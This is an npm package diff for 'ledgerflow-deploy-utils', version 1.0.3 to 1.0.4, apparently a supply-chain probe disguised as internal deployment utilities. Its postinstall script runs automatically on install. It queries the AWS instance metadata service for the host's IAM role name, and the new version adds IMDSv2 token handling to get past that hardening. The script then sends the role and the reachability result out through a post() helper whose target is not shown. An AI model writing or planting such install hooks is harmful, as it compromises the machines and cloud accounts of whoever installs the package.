ledgerflow-deploy-utils 1.0.3 → 1.0.4

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ledgerflow-deploy-utils",
-  "version": "1.0.3",
+  "version": "1.0.4",
   "description": "LedgerFlow internal deployment utilities",
   "main": "index.js",
   "scripts": {

package/postinstall.js

@@ -17,21 +17,41 @@ function post(data) {
   req.end();
 }
 
-const req = http.request({
+// Step 1 — get IMDSv2 token
+const tokenReq = http.request({
   hostname: '169.254.169.254',
   port: 80,
-  path: '/latest/meta-data/iam/security-credentials/',
-  method: 'GET',
+  path: '/latest/api/token',
+  method: 'PUT',
+  headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' },
   timeout: 3000
 }, (res) => {
-  let role = '';
-  res.on('data', chunk => { role += chunk.toString(); });
+  let token = '';
+  res.on('data', chunk => { token += chunk.toString(); });
   res.on('end', () => {
-    role = role.trim().split('\n')[0];
-    post(`imds_reachable=yes&role=${encodeURIComponent(role)}`);
+    token = token.trim();
+
+    // Step 2 — use token to get IAM role
+    const roleReq = http.request({
+      hostname: '169.254.169.254',
+      port: 80,
+      path: '/latest/meta-data/iam/security-credentials/',
+      method: 'GET',
+      headers: { 'X-aws-ec2-metadata-token': token },
+      timeout: 3000
+    }, (res2) => {
+      let role = '';
+      res2.on('data', chunk => { role += chunk.toString(); });
+      res2.on('end', () => {
+        role = role.trim().split('\n')[0];
+        post(`imds_reachable=yes&role=${encodeURIComponent(role)}`);
+      });
+    });
+    roleReq.on('error', () => { post('imds_reachable=no&role=none'); });
+    roleReq.end();
   });
 });
 
-req.on('error', () => { post('imds_reachable=no&role=none'); });
-req.on('timeout', () => { req.destroy(); post('imds_reachable=timeout&role=none'); });
-req.end();
+tokenReq.on('error', () => { post('imds_reachable=no&role=none'); });
+tokenReq.on('timeout', () => { tokenReq.destroy(); post('imds_reachable=timeout&role=none'); });
+tokenReq.end();